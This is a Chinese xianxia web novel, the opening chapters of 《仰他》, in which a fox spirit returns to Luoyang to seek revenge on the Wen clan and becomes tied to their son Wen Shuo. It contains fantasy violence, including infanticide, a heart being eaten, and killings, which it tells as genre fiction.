《仰他》 1. 第一章 客从何来? 《仰他》全本免费阅读 北邙山头少闲土,尽是洛阳人旧墓,堆着黄金仙宝无置处。 山间人多,鬼多,精怪多。 春三月,晚霞散成绮。 西边的地平线冒出一只体态纤娜的狐狸,皮毛本是雪白,却在霞光照耀下,闪烁桃粉色的光泽,油光水滑,如江南产的最上等的丝绸。 狐狸初生时,开眼见到玄天之上一轮弯月,便以蛾眉月自名。 蛾眉月咧着獠牙,衔一杆粗柳枝,枝两头沉甸甸往下坠,弯得像把弓,各挑两壶封了泥的女儿红。他哼着小调,瞥了眼路旁边木桩子上盘腿坐着的白胡子老丈,对其点一点头,继续往前头走。 蛾眉月在附近转了整整三圈,又绕回来,停在白胡子老丈面前,长尾巴一摇,卷住四只黑爪子,放下柳枝,问:“老参,麻烦问个事,这附近应该有个狐狸窝的,怎么不见了?” “狐狸的鼻子就是比狗灵。”老丈含笑嘟囔着,白胡须长得扫地,还不嫌麻烦地编成麻花,“世道不好,歹人到处跑。你从哪儿来?” 蛾眉月如实回答:“姑苏。” 白胡子老丈又问:“姑苏好吗?肯定是比邙山好喽?” 蛾眉月抬起右前爪,拱起来舔得湿答答,一圈又一圈在毛脸上绕,“刚去的时候还成,小菜好吃,南曲好听,就是老下雨,胳肢窝下的毛黏黏糊糊,容易打结。后来就没意思了,乱糟糟的,逼得人东躲西藏。” “南斗转到北边,北斗又绕到南边,全都乱了套,姑苏不好,这里也没有安生日子过。”白胡子老丈叹一口气,左手抓住右边空空荡荡的袖子,眯眼想了会儿心事,嘴又很快咧开,“我一瞧你的样子就知道是在找地界,猜你找不到,必回来问我。我且不叫你,看你绕圈子好玩哩。” 蛾眉月放下爪子,四只爪子端端正正搁着,“那狐狸窝挖在一棵三人成抱的桃树底下。北邙山只有那么一棵桃树。人参族满山跑,对山里最熟悉。劳您老给我指个路。” 白胡子老丈嚼着自个儿胡须头,看起来是个操闲心的,问:“比之以前,这儿是大不一样了。你走了几年了?” 蛾眉月用爪子挠粉色耳朵,小尖尖滴溜滴溜上下弹,“日子过得稀里糊涂,记不清了。不过,我离开的时候,没见过这丛灵芝。”黑爪子指了指老丈脚下长到成年男子膝盖高的一丛灵芝。 白胡子老丈脸色瞬时一暗。 蛾眉月知道为什么。 灵芝能长这么大,寿数必然是百年以上,但这丛灵芝已经死了,化为焦黄的朽木,不仔细看,根本就像堆黄土。 百年修为一招散尽,可惜了。 白胡子老丈说:“我这老友四百多年前破土,去了都有一百多年了。你已经是个异乡人,难怪连自己的窝也找不到。” 蛾眉月用肉垫遮住眼睛,“老参,你认出我了。” 白胡子老丈哈哈一笑,“小老儿惯会记旧账,你离家前,偷了我一条新鲜羊腿。” 蛾眉月的爪子把一坛酒往前拨,“老参,我请你喝上好的绍兴女儿红。” 老人参精缩鼻子嗅空气,仿佛不饮自醉,眯眼问:“你这酒原先是给谁的?” 蛾眉月慢吞吞说:“自然是,他。” 老人参精问:“老友久别重逢的酒?” 蛾眉月吞吞吐吐:“饯别之酒。” 老人参精的眼底原本一片混沌,却在一瞬间亮了起来,“好狐狸!你要飞升了!” 蛾眉月心中得意,咧开嘴,再次露出尖尖的獠牙,“快了,就在这一两个月里。” 老人参精朝蛾眉月招手。 蛾眉月往前挪了挪身子,任老人糙如沙砾的手心撸他头顶心,舒服得喉咙里“呼噜噜”打闷雷。 “好啊,你是有福气的,在世道大乱前抽身。”老人参精眸子再一次浑浊起来,“我猜,如果不是桃元,你也不会精进得如此快。不过,你还欠我一条羊腿,这两坛酒都孝敬我吧。” 蛾眉月怯怯地、含糊地“嗯”了一声。 过了一会儿,蛾眉月终于下定决心开口:“老参,我想见桃树。” 呼噜噜—— 老人参精的身子一冲一冲,竟然打起了瞌睡。 蛾眉月性子柔,但桃树的事日日绊在他心头,纵然是无礼,他也顾不得了,等了那么一小会儿,用爪子摇老人参精,“老参,醒醒!” 老头猛然睁眼,嚷嚷:“什么参?你要见小参?哦,他在洛阳城,你自己寻着味儿找去。” 小参是老参的孙儿,还没化人形的时候,就叉开两条尖腿,啪嗒啪嗒跟在蛾眉月身后充作小弟。 “他不愿见我是不是?”蛾眉月耷拉着脑袋,有气无力说。 老人参精摇头,“小参怎么会不愿见你?啊,你记挂着那件事。你和他逃家远游,结果又把他一个人丢在洛阳城,自己跑去——姑苏!是这个名儿吧?放心,小参从来没放在心上。” 蛾眉月想从老人参眼睛里揪出鬼儿,“我不是说小参。” 老人参精眨眨眼,“那是谁?” 蛾眉月朗声道:“桃树!” “哦,他呀——”老人参精捋着白胡子,“也远游去了,还没回来。” 蛾眉月愣了一下,乜斜老人参精,“老参,你在骗我。他没了桃元,千年内化不出人形,根本不可能自个儿挪出邙山。” 老人参精沉沉叹了口气,“要不说他待你比待自己好,听你起意远游,立刻把自己的元丹赠予你。眼下你都要羽化成仙了,他却连人样子都没能化出来。”他盯着蛾眉月的狐狸眼珠子,“你是因为一条羊腿,怕我见了就唠叨?还是说,有什么其他重要的事绊住了手脚?” “怎么会。”蛾眉月低头,抬爪子,舌头顺着手臂,一上一下舔舐。 老人参精闭上眼,摇头晃脑,“迟了一百多年,我不信就为请喝一杯酒回来。” 蛾眉月说:“我飞升的日子越来越近,只有还他桃元,我才能安心走。” 老人生精猛然撑开眼皮,高声呵斥:“别在这个时候闹别扭。你不历劫了?一道天雷劈下来,揣着桃元保命容易!我从小看着你们长大,我替他做主,桃元你先揣着,等飞升成仙,你再下凡——”他突然眼神飘忽,语气也含糊起来,“到时候,走一步,看一步吧。” 悬在山林之上的天渐暗,隐隐有雷声传来,西边一道道闪电照亮天际。 偏偏是雷! 北邙山中,春雷再常见不过,但蛾眉月分不清这是寻常的雷,还是历劫之雷。 狐狸历劫飞升应的是雷劫,一道天雷劈下来,要么一命呜呼,要么肉身灭,神魂飞。 总之,就是迫在眉睫。 他一定要把桃元还给桃树! 老参是老人家,只 2. 第二章 客所欲为何? 《仰他》全本免费阅读 狐狸进洛阳城,这并不稀奇。 以姚黄魏紫闻名天下的花冠之都挤满了化形的精怪。凡人视之为平常,但眼见着以兽形穿梭于熙攘街巷中的纤细白狐,人们仍频频对其指点。 化了人形,就存有人性。 存人性之精怪不能是异兽。 想要融入世俗,就要认同其体系,分出个三六九等。 蛾眉月刻苦修炼四百年,就是修不出人身。 这固然有兽族化神易,化形难,草木族化形易,化神难的缘故,但他不敢承认,是桃元这颗至宝不肯在其体内生根。 湿润的黑鼻子嗅过布庄,嗅过肉庄,嗅进一家药材铺,从几百种药材香里辨出参香。 蛾眉月蹲在门槛上,观察掌柜拉出一只只檀木抽屉,抓几把草木尸体,秤斤两,随后包入油纸,又捆了一把山参交到来客手里。 小参不在这里。 “哪来的畜生!滚!”掌柜冲出柜台,抄起墙边的木扫帚就要往蛾眉月头上招呼。 蛾眉月钻入旁边的小窄巷,跳过巷转角的书画摊,摊边站一个书生,身后依次挂“邙山八景”图,他认出其中一轴——落英缤纷的大桃树下背立一白狐。 药材铺掌柜追出十多丈就转身回去。 蛾眉月一心想那画轴,跳回去,却见一群身着暗紫长袍的人围住那个书画摊,有男有女,气势汹汹,为首男子的大手抓上“桃树与狐”,粗暴地撕扯下来,捏成一团,砸到摊主的脸上。 “活腻味了?你难道不知道天下禁桃?堂而皇之将桃花置之闹事,是想为灭天道者歌功颂德?” “爷,这些画我都不要了,您饶了我……” 噼里啪啦—— 乒乒乓乓—— 紫袍男女对摊主拳脚交加。 蛾眉月恨得龇牙咧嘴,压低脑袋,想直接扑上去撕咬。 他看到了紫袍胸前的姚黄牡丹族徽。 龙门军? 邙山温氏? 晦气! 蛾眉月尾巴一摇,趁乱钻入窄巷更深处。巷旁的门“吱吖”一声被推开。蛾眉月身子弹躲开。从门里走出一个少年。 十七八岁,白发高束飞扬,浑身散发浓烈的参味,不是小参是谁? “小参!”蛾眉月喊了一声。 白发少年只穿了一件中衣,手里抓着药罐子,转过身,愣住,随即松开表情,大喊:“哥!”他跑过来,边跑边跪下膝盖,扑住蛾眉月,用脸蹭他的毛脸,“回来多久了?我以为再也见不到你了。” 参味和药渣子的残香瞬间将蛾眉月吞没。 蛾眉月磕磕绊绊问:“这些年,过得还好吧?” “我——” 门内跟出来一个妇人,三十多岁,簪牡丹,腹部高高隆起,手上抓着绣绷和旧衣,谨慎地瞟一眼蛾眉月,盯住小参,“参郎,他是谁?” “怎么不披件衣服再出来。”小参站起来,丢开药罐子,揽过妇人的肩膀,微笑对蛾眉月说,“哥,这是我媳妇。”他轻拍妇人的肚子,“还有我家老二。”他蹑手蹑脚将簪花妇人往门内推,“别着凉,我说几句就来陪你。” 簪花妇人慢吞吞跨过门槛,人进去了,门却半掩着。 蛾眉月高扬起头,“夫人身上不止参味,家里是开药材铺的?” 小参蹲下身,垂手一抛,熟练地将药渣倒到路中间,“人在屋檐下,不得不低头。我不怕你看不起我。” 蛾眉月说:“没什么不好,安身立命。” 小参盯着蛾眉月好会儿,问:“哥,你来洛阳做什么?” 蛾眉月说:“找你。” “参郎,我腰酸。”妇人的声音从半掩的门扉里传来。 “哎,来了。”小参抓了抓头,“哥,你在哪里落脚?得空了,我带你逛逛洛阳城。” 蛾眉月一字一顿说:“你和我长大的地方,狐狸窝,残桩处。” 小参快步走过去,把门关好,背对蛾眉月,顿了许久,转过身,有气无力靠在门上,“爷爷还好吗?等我媳妇平安生产,我们进山去看他。” “昨夜,老参飞升了。” 小参“啊”了一声,表情木木的,并没有显得很高兴的样子,“哥,你知道爷爷化了什么神吗?” 蛾眉月说:“不知。” 小参的脸更惨兮兮,“没名没号,就不能给他设灵位、上香、供牺牲(注1),大丫头的病,老二的安危,家里的生意,我的差事,都指望他照顾呐。” 门内传来妇人的声音:“请客人到屋内来说话。不能陪了这个,晾着那个,两边都照顾不周。” “知道了。我哥这就走!”小参高声回应,清澈的双眸满是期盼地看着蛾眉月,“哥,担待些,改日我请你喝酒,咱们聊个够。现在我家里有要客。” 眼瞅着小参就要往门内钻。 蛾眉月朗声道:“你对老参说,当年我们一起远游,是我把你弃在洛阳城。” 小参低下头,嚅喏:“不是人人都像你,有勇气往外头闯,更有勇气不回头。我从小不就是这样吗?羡慕别人强,想要自己跟着强,又发现自己害怕,每每后悔,做什么事都是虎头蛇尾。” 蛾眉月晶亮的眼珠子敛成一线,“你很好,至少不会害人。谁都有失去勇气的时候。你有不愿承认的事实,我也有。趋利避害,害人利己,是你我这等凡夫的本性。” 小参不言语。 蛾眉月说:“你已经被俗世所接纳,我不该拉你出来。但桃树对我很重要。我只问你两个问题。你必须如实回答。如实答了,我以后离你远远的。” 小参哑然说:“好。” 蛾眉月问:“桃树、灵芝和你爷爷的一条手臂都是被同一些人害的?” “嗯。” 蛾眉月烦躁地踱步绕圈,咧嘴,嘶吼,又问:“你告诉我,邙山是谁家的菜园子?” “邙山,洛阳,它到什么时候,都姓温!”门被“哐”一声踹裂而飞,一个令人厌恶的声音传来。 蛾眉月“哇”一声叫起来,弓背,炸起毛。 紫袍男女冲出来,将峨眉月团团围住,拔剑,剑尖寒光凛凛,一再收紧圈口,眼见就要刺入。 簪花妇人惊呼:“参郎!”她笨拙地跑出来,将补好的紫袍披到小参身上,胸口正是邙山温氏的族徽——金线绣出的姚黄牡丹。 下一刻,小参怒吼一声,朝蛾眉月扑过来,扼住他脖子,死死将他压在地上,逼得他喘不上气。 “大胆妖孽,竟敢冒犯温氏!我龙门军替天行道,绝不姑息此等恶人!” 蛾眉月乌黑的眼珠子缓缓地转动,他没有看紫袍男女,只盯着双眼通红、莹莹有泪的小参。 这是曾经永远跟在他身后,“哥啊哥”叫个不停的小参。 小参整个身子都压在蛾眉月身上,“束手就擒,谁都不用死。” 蛾眉月不再挣扎。 紫袍男一脚踹开小参,“你算老几?你说不杀就不杀?天下所有的妖孽都该死!” 蛾眉月看怀有身子的簪花妇人,看被踹在地上一动不动的小参,终是,不动,不言。 紫袍男拔剑,对准蛾眉月的脖子狠狠刺下。 小参扑过去,用双手抓住剑刃,“噗噗噗”,鲜血溅出来。 簪花妇人惨叫一声 ,晕倒在一旁。 紫袍男冷哼一声,“妖孽只会可怜妖孽。你想死?容易啊!” 小参用血肉之躯死死抱住血剑,“妖孽是该死!只是,三爷,咱们大小姐刚刚诞下麟儿。温家只有那么一个男丁。小少爷未满月就给主人家造杀业,不吉利啊!” 紫袍男不动了,扫视其他人,所有人都把目光移开,他又将围聚在巷口的民众呵斥走,下令:“把这死狐狸压进龙门军死牢。等咱们酒喝舒坦了,再找这样的乐子。” 蛾眉月进了龙门军死牢。 夜里,蛾眉月舔舐自己皮毛上的小伤口,一次又一次,一次又一次,毛都被口水秃噜了,露出粉色的毛囊,却发现再怎么舔,也舔不平心里的不忿。 是温家—— 温家人杀了桃树。 老参,还是被我知道了。 你已经飞升了,拿我没办法。 牢里的烛火突然一根根熄灭,守卫们悄无声息地倒在地上。黑暗中,狐狸眼珠子的虹膜盈盈发亮。蛾眉月弓紧背,压低脑袋,朝着牢门外一个潜入的身影嘶吼。 “哥!是我!” 小参? 小参打开牢门,却没跨进来,“哥,走,别再回来!” 蛾眉月端坐在地上,“放走我,你想好作何解释了吗?” 小参说:“我虽没用,唬人的口才却还有。” 蛾眉月不挪动分毫,“是温氏杀了桃树。你放我走,我还是会杀回来。” 小参说:“你做什么我不管。我管不了你, 3. 第三章 客是谁? 《仰他》全本免费阅读 小孩生机蓬勃,血最香最甜,闻着味儿就能找到。 蛾眉月在温家大宅潜行,从一间院子里的树枝跃到另一间院子里的树枝,钻入被木棍顶起掀开一条缝的窗棂,细柳状身子疾行,穿过重重帘帐,躲到床底下。 垂下的床帐格出一条细长的缝,蛾眉月从这条缝里看到四个匍匐在地上颤抖的女人,她们双臂平行置于头顶,头埋在臂间,一声高过一声喊:“大小姐,饶命啊。” 谁? 温家大小姐吗? 蛾眉月把视线右移,瞧见一双精致的皮靴,上面用金线绣姚黄牡丹,紫衫随着那女子身体剧烈晃动而飘来飘去,一柄暗红雕纹木剑挂在她腰上,剑尖擦着她的腿摆来摆去。 老友! 温氏竟然把桃树层层剥削,刻成了一柄桃木剑! 欲界,魁星阁有预言,南斗注生,北斗注死,南北倒悬,必有七元厄运星君降世,结桃花印,灭天道。 天下之人因此寻桃,禁桃,灭桃。 不容桃花存世的是这些人,昭然用禁物为法器的也是他们! 从古至今,正邪、是非就没个公道! 热血在躯体里沸腾,直冲头脑,愤怒要在腔内爆炸,蛾眉月蹿了出去,如一束白光在四个侍女之间闪烁、折返、穿梭,在意识到温大小姐是站在净房内,他已是避之不及,心中一喝:“去他丫的风度廉耻!”一口咬上温大小姐腰上挂剑的皮带,撕咬下来,一瞥,溺桶里浑黄的液面一圈一圈泛着涟漪,浮起一个带着发旋的婴儿头顶。 溺桶里埋着个人! 那个—— 孩子? 蛾眉月长尾巴一扫,卷翻溺桶,半臂长短一团粉肉摔出来,没有一声哭。 明明是来吃小孩心肝的! 现在是干什么! 蛾眉月,夭寿! 温大小姐不乱不惊,向后一跃,双手结出个法印,一声吒,潋白光的法圈迅速扩大,金色的咒言在圈内旋转,朝蛾眉月劈头盖脸罩了过去。 蛾眉月将桃木剑向上一抛,一声狐啼,震碎法圈,音波弹向温大小姐,只见她向后一倒,没有了动静。 蛾眉月跳到半空,衔剑落定。 两名侍女们尖叫着往屋外跑,“狐妖入府了!” 另两名侍女以同样的方式化出剑意,左右向蛾眉月包抄而来。 蛾眉月跳起来,白身子在空中打转,一脚踹一个。 化出的剑意消散,两个侍女倒地不醒。 蛾眉月四爪落地,走到温小公子身边,从头至尾,他都没听到孩子哭,大概是被金汁溺死了。 凡人婴孩粉粉嫩嫩,真就像团死肉,怪难看的。 蛾眉月放下桃木剑,一口咬住孩子的脖子,脖子实在太短了,他不得不用黑鼻子顶起孩子的胖下巴,尖利的獠牙只要再往下一戳,就能听到脖子“嘎吱”一声脖子断。 温小公子身子颤了颤,蛾眉月也跟着抖了抖毛。 “哇”一声,小孩子喷出粪水,喷了蛾眉月一脸。 蛾眉月懵了。 小坏崽子,找死是吧! 蛾眉月喉咙里“呼噜噜”,松一下颚,再一次咬上去,毛在温小公子脸上撩,直接把他逗乐了,发出令人厌恶的笑。 不咬脖子。 掏心掏肝! 蛾眉月松开嘴,前爪尖在温小公子胸口转来转去,定心脏所在。这爪子挠来挠去,小坏崽子直接笑个不停。 等会儿有你哭的。 太脏了,吃下去生病。 先舔舔。 蛾眉月把温小公子舔了干净,但屎不好吃,他厌恶地咳嗽,边舔边干呕。 这一舔,直接把人舔睡了。 梦中被人挖心肝,挺好! 受死吧,小坏崽子! 小坏崽子阿嚏打喷嚏,好么,醒了,一手抓住蛾眉月的黑鼻子。 蛾眉月愤怒地嘶哑咧嘴,吼小东西,威胁小东西,但越吼,小东西抓得越紧,另一只手也摇得更欢。 堂堂邙山温氏原来生了个呆的。 蛾眉月弯下前爪,遮住狐狸眼珠子,另一只爪子拖来一张草纸,盖在温小公子身上。 吃凉肉拉肚子,温温。 蛾眉月尾巴一疼,心中大叫不好,自己被小坏崽子闹得心烦意乱,失了警觉,一股强劲的力道从尾巴传来,他栽倒,被人拖拽,头朝下,尾巴朝上,被人拎了起来。 温大小姐冷哼一声:“从未见过如此愚蠢的妖孽。我的耐心耗完了。送你一程。” 温大小姐弯膝取桃木剑,一剑刺下。 那剑刺的不是蛾眉月,而是指向了温小公子的胸口。这女人手比狐狸准,一剑刺个透心凉。 蛾眉月抱住温大小姐的手臂,咬得她鲜血淋漓,她却死死抓住他的尾巴不放手。 温大小姐毫不迟疑地收剑,又香又甜的血珠子顺着剑身淌到地上。她陷入一种癫狂的状态,魂儿也不在,跪下来,撑开五指,稳准狠掏出一颗还在跳动的心脏。 小孩的心脏很小,像是颗鲜红的李子。 温大小姐甩开蛾眉月,跪下来,用桃木剑撑住身子,抓着小孩心脏的手垂下来,对着蛾眉月轻颠,鼓嘴“咗咗咗”逗弄:“小乖乖,吃,可香甜了。” 他看出来了,这个温大小姐是个疯的。 灵兽的耳朵尖,蛾眉月能够听到温小公子的血越淌越慢,不,血流停了,呼吸几乎不可闻。 温小公子正在慢慢死去。 这是蛾眉月喜闻乐见的。 死吧,反正,总要死的,他就是来让他死的。 蛾眉月的每根狐毛都竖起来,试探性地走上前,舔了舔温大小姐手心里的心脏。小孩的血果然最香甜。蛾眉月暗自发狠,一口把心脏嚼了,吞下肚,明明是想细品复仇的滋味,他却觉得索然无味。 屋外响起一阵阵脚步声,蛾眉月跳到一边。 一个暗紫华袍的男子走了进来。 温大小姐大呼:“父亲,他死了!” 温三爷从温家家主身后钻出来,“肯定是狐妖杀了小公子!” 众人看向蛾眉月,他嘴边的毛还沾着人血。 温大小姐说:“妖孽吃了他的心肝。”她低下头,一绺绺黑发落下来遮住脸,嘴角上钩,“我们温氏又后继无人了。” 人的心啊真是肮脏。 这世道太黑暗,小坏崽子,你死了也未必是坏事。 华袍肃穆男子的目光沉沉盯在躺在地上的温朔,面无表情,“列阵,捉妖!” 蛾眉月扑向温三爷,以一束灵光直穿他胸膛,他惨叫倒地,死了。 这是蛾眉月四百多年来,杀的第一个人。 玄天之上,骤然响雷,一道闪电劈下来,击中了从灵光凝成狐狸身的蛾眉月,将它一击瘫倒在地。 飞升在即,一旦造杀孽,必会受天罚。 四百多年,蛾眉月困于厄运之预,一点都不敢释出力量,世人惧怕于他的灭世之力,却不会想到,最避讳这霸道之力,担心自己杀一人,便会杀百人,杀千人,就会杀万人的是他七元厄运星君自己。 蛾眉月大概是欲界有史以来最窝囊草包的灭天道者了。 龙门军列阵,一道道剑光悬在人的头顶,只要家主一声令下,灭狐。 蛾眉月摇摇晃晃站起来,吐出地之浊气,纳进天之清气,白光笼罩周身,狐狸身化为一少年,从手指指甲,不,从脚底到头顶,他拥有修士都不曾有的洁净,那样完美无瑕,那样恍若是梦,他缓缓抬手,桃花瓣之光缠绕光洁的手臂。 “是七元厄运星 4. 第四章 客后悔呼? 《仰他》全本免费阅读 温朔其人的确有些意思。 温家对外宣传他是现任家主温羲与小妾所生,其母身份姓名不详。温家大小姐温望本是他生母,如今却成了他的长姐。知道“姐既是母”这件事情的知情人皆被温家家主肃清。 温望之才足以比肩世间任何奇秀男子,年二十有一,未嫁。她以女子身继任家主之位,原本受到族人诸多质疑,旁支总是跃跃欲试,温望披荆斩棘到半路,温二公子的降世倒成了解除危机的及时雨。 温大小姐在温朔三足岁时招了婿,一年半后,生下小公子温珏。温望自那次“狐狸伤子”事件后,仿佛变了一个人,冷静沉默果敢,不再像个疯妇,相较于温朔,她对次子上心得多,甚至有时还会对次子笑脸相迎。 温朔不爱说话,大概是因为父亲霸道,长姐冷漠,侄子年幼,师长、侍卫、仆从又都对他唯命是从。 蛾眉月之所以知道这些,是因为这八年来,他隔三岔五就趴在墙头根懒懒观察温朔。他杀了温三爷,天道不让他在短期内飞升。他问自己值不值,为了温朔,值啊!他每每下定决心要吃心肝,不是温朔病了,嫌病体带瘟,就是温朔心情不佳,怕吃了抑郁,再不然温朔练剑伤到自己,他坚持不吃笨小孩。总之,就是眼看着桃元在温朔胸腔里扎了根,桃子心脏蓬勃跳动,千条万条血管盘根交错,像是蛛网挂着鲜桃。他感慨少年人的生气,也惊讶于桃元的选择。 不能再这样窝囊下去! 必须搞事! 搞大事! 温羲给那个造出来的小妾立了无名冢,就在温家内院,颇有些此地无银三百两的意味。温朔会在碑前练剑法。温羲将代表家主继承人的桃木剑交给了温朔。温朔内含桃元,外佩桃剑。蛾眉月每每见此景,心中总是五味杂陈。 狐狸使坏,传了个小道消息给温朔:小妾的坟里埋着空棺材,你不是温家的亲生好大儿。 某个月黑风高的晚上,八岁的温朔一个人背着铲子,开始挖自己“母亲”的坟。 蛾眉月依旧像只猫一样慵懒卧在墙上,偷偷乜斜温朔挖坟。 他等不及要看温朔见到空棺材,怀疑其父,怀疑其身世,然后怀疑人生,踏上万劫不复的悲催人生路。 温朔还是小孩,力气不够大,挖了总有两个时辰,土馒头还是浅浅一个坑。 蛾眉月嫌弃温朔动作慢,跳下去,慢吞吞走到温朔面前,“要帮忙吗?” 温朔抬眸,寡淡地扫一眼蛾眉月,不惊也不讶,埋头,一铲子插进土,踩一脚,继续挖。 蛾眉月问:“你都不问问我是哪只妖吗?不怕我害你啊!” 温朔说:“一看便知是狐狸精。那只狐狸精。从小喜欢盯着我。” 蛾眉月诧异道:“你知道!” 温朔说:“狐狸偷温朔,小孩都知道。” 蛾眉月因为是狐狸不会流汗,他身子顿一顿,弯下身子,两只前爪子开始刨坑,一小孩一狐狸哼哧哧挖得满头大汗。 半个时辰后,铲子和爪子同时发出“砰”的一声响,挖到棺材了! 蛾眉月眼中熠熠生光,目光一刻不离开温朔,想亲眼见证仇恨的种子在温朔心底生根,发芽。 温朔一掌劈开棺材板,棺钉钉得深,棺材盖几乎是拦腰截断,木板碎片飞出来,温朔将目光投进缝隙里。 温朔的表情凝重,久久没有说话。 蛾眉月得意说:“看你表情,失望了吧。我知道里边是空的。我知道你的身世,想知道的话,求我。” 温朔突然伸来一只手,抓住蛾眉月的后颈,把他提拎起来抱在怀里,一人一狐往后一跃。 温朔问:“何方宵小?出来!” 蛾眉月蜷在温朔怀里,能听到他蓬勃的心跳——是他的桃子在敌人胸腔里拼命跳,整整四百年,谁都不敢接近七元厄运星君,更别说抱小猫一样抱他,这温朔果然天生就是坏种! 蛾眉月恼怒地嘶吼,挣扎着跳出温朔怀中,钻入月之阴影下。他眼见着温朔拔出桃木剑,眼见着从裂开的棺材里像豆芽一样长出一个幽魂。 这—— 是什么鬼东西? 蛾眉月突然觉得这女鬼披头散发的样子有点眼熟! 像某个曾经见过的疯女人。 温望! 不可能啊,温望明明好好活着,这些年,温羲近乎退到幕后,一直是由冷酷无情的温家大小姐统领洛阳龙门军。 只有一个可能——分神。 邙山温氏有两门家传绝学。其一为分神,修炼之人可将自己的三魂七魄剥离出一部分,虽会损伤根本,却可以灭七情六欲,修无情道。其二为夺魄,百年前才被创出,据说只有男性继承人才可能觉醒。觉醒者可以将自己的意志加之于一个较弱意志之人的身上,控制那个人的肉身。 看来温望是分了一部分神魄出来,摒弃部分魂魄和过去,将恨与温朔一起埋葬了起来。 这个疯女人一如既往地疯。 温朔就仿佛是石化了一般钉在原地。 也难怪,连蛾眉月都能看出来,这个女鬼一样的魂魄是温望,作为幼弟的温朔又怎会看不出来,他聪明的小脑瓜只要前后一联想,什么都明白了。 按理说,此情此景是蛾眉月喜闻乐见的,甚至是一直所期盼的,但见温朔一言不发,小脸就像最幽深的潭水一样黑沉,他立刻觉得没什么意思,还得想别的法子捣乱。 温望之魂浮在空中,从丝丝绺绺黑如海藻的长发间飘出来的目光定在温朔脸上,“你的眼睛很像那个人。” 蛾眉月凑上去,才发现温朔的眼眸竟然变成幽蓝色,一对幽瞳——这是鬼族的印记! 温朔—— 鬼、妖、人,真是三毒俱全了。 温望嘶吼:“那个人!我不知道那个人是谁!他趁我练功入境,迷晕了我。我只记得那双可怖的眼睛,在我身前前晃啊晃。父亲说,万一是个男孩儿呐。你是那个人的孩子。我要杀了你!你怎么能活?你不配活!” 蛾眉月丝丝吸冷气,能够逼迫堂堂温大小姐未婚被强屈辱生下孩子的只可能是温羲。温家家主为了家业兴旺真是——嗯,可歌可泣,感天动地。他七元厄运星君庆幸留温朔一命,就像他自己说的,这个小坏崽子肯定会弄死温家。 温望凝神结剑阵,十一柄剑气在她身后旋转,齐齐射向温朔。 温朔一动不动。 蛾眉月喊:“小鬼,你脚下长根了是吧!” 温朔仍是像块木头桩子杵着不动。 蛾眉月释出力量,将剑和两人都往外震开。 温朔侧身卧倒。 蛾眉月跳到温朔身前,身后的灵狐之神越来越大,像是白色的焰火一样蹿起来,压了温望神魄一头,他的声音开始高亢重叠:“他的命——轮不到你来收!” 蛾眉月还想把元神撑得更大一些,尾巴又是一紧,这感 5. 第五章 客瞎了眼? 《仰他》全本免费阅读 小孩子长得真快,当年那个会哭会笑会唬人的小男孩终是变成了温二公子。不负温家家主所望,温朔正一步步成为照亮玄夜的明月,墨、剑、咒都成绝,堪称欲界千年来第一奇才。 唯一可惜,是温二公子寡言少语,几乎是个冰人。 对于温朔的生身父亲是谁,蛾眉月心里有底。 身居苏杭,死葬邙山。 邙山是汉朝君、晋朝臣趋之若鹜的归葬地。不是王侯将相、世族大家就能在邙山建墓,而是,其墓在邙山,才是后世眼中实至名归的贵胄。 蛾眉月拜访了司马将军大墓。他敲了敲墓门,两头守墓兽为其开门,进到主墓室,看见鬼将军正在和三男女打麻将。 司马将军双手“噼里啪啦”在石桌上洗麻将,抬头,啧了一声,“月君,良心发现,终于想到来看老哥哥了?” 蛾眉月放下女儿红,轻声喊了声:“司马将军。”他扫视一圈石桌边的男女,“这几位怎么称呼?” 司马将军把麻将排成一条,前后调整次序,下巴戳戳一个女的,“这个是.......记不得了,你们自己说。” “奴家是十三。” “妾是十五。” “小爷是二十五。” 蛾眉月含笑道:“三位夫人好。” 司马将军“啪”一声,拍下一个幺鸡,“不是夫人。月君若嫁我,吾便让月君当夫人。” 蛾眉月抬起前爪,折起来舔毛,不搭理鬼将军。 司马将军为晋王之后,死后化为鬼中名士,在山中结庐,好养菊,不嗜杀,上等风流种,是鬼中段正淳。 司马将军亦笑道:“每每言及紧要处,惯会装聋,作哑,磨得吾心痒难耐。” 蛾眉月说:“司马将军,我来此,是为打听一件事。” “但说无妨。” 蛾眉月问:“十七年前,将军可曾——嗯,那个——结识一个温姓女子?” 十三、十五、二十五全都停手,死死盯着鬼将军。 鬼将军清了清嗓子,“你得说仔细些,化鬼时间太长,容易搞混一些人。” 蛾眉月一一扫过十三、十五、二十五。 鬼将军把麻将向前一推,“没意思,不打了,你们出去,月君留下。” 三人出去后,蛾眉月说:“邙山温氏长女,温望,你可对她行过非分之举?” 鬼将军仍是一脸迷茫,“不记得。漂亮吗?哪里最漂亮?” 蛾眉月肃下狐狸脸,淡淡描述了一遍温望的容貌,观察鬼将军的神情。 鬼将军歪头,拧眉,揉太阳穴,突然眼睛一亮,用拳头击打手心,“她呀!后腰有颗红痣,晃起来连吾都觉得□□,觉得马上要一鬼呜呼了!” “真的是你!” “是我。耳鬓厮磨,神魂颠倒,着实是一段美谈。温大小姐怎么了?” “她给你生了一个儿子。” “我知道。” “你知道!那你怎么不去见?你让一个孩子没有父亲!如果一个人总是琢磨自己是谁,迟早会疯掉的!”蛾眉月两只前爪搭在石桌边,推得上面的麻将晃动起来,然后,越晃越烈,直到他放下爪子还在晃,他突然意识到,不是石桌在晃,是整个司马大墓在剧烈摇晃。 糟了! 已经来了? 这么快! 天旋地转,地动山摇,镇墓兽从石门外钻进来,“将军,温氏龙门军杀进来了!” 鬼将军跳起来,手中化出一柄长枪,从下至上一挑,划出一道明亮的花枪,擦着蛾眉月在空中打了一个后翻的身子而过,“月君,你伙同温氏害我!” 此刻,蛾眉月脑子里只有一个念头:决不能让温朔知道他在这里,决不能! 怎么办? 要逃吗? 来不及了。 温朔他没有见过自己化成人形。 蛾眉月凝住元神,低声哼哼唧唧,从狐身化为一少年,白肤赤/裸,蜷紧身子,缩在地上。 鬼将军看一眼,再看一眼,最后深深看一眼,“月君,下不为例。吾先赶走温家的人再来和你相会。” 不能打,那是你亲子。 不能杀,那是你亲父。 温望下令诛杀鬼将军。 自挖坟寻亲的雨夜,温朔露出湛蓝幽瞳,蛾眉月看出来了,温望后来也琢磨出来了。她所有的屈辱、不甘和怨恨都是因为温朔,她不能杀温朔,但如果温朔能亲手杀父,不为是一种报仇雪恨。 嗙一声巨响—— 司马大墓整个炸开了,四周立刻卷起漫天土黄色的灰尘,待灰尘落下,越来越清晰的视野中,他看到垂剑缓缓而来的紫袍少年,以及笼罩在周身金光闪闪的咒术法圈。 而这个时候,他蛾眉月居然是光着的,□□! 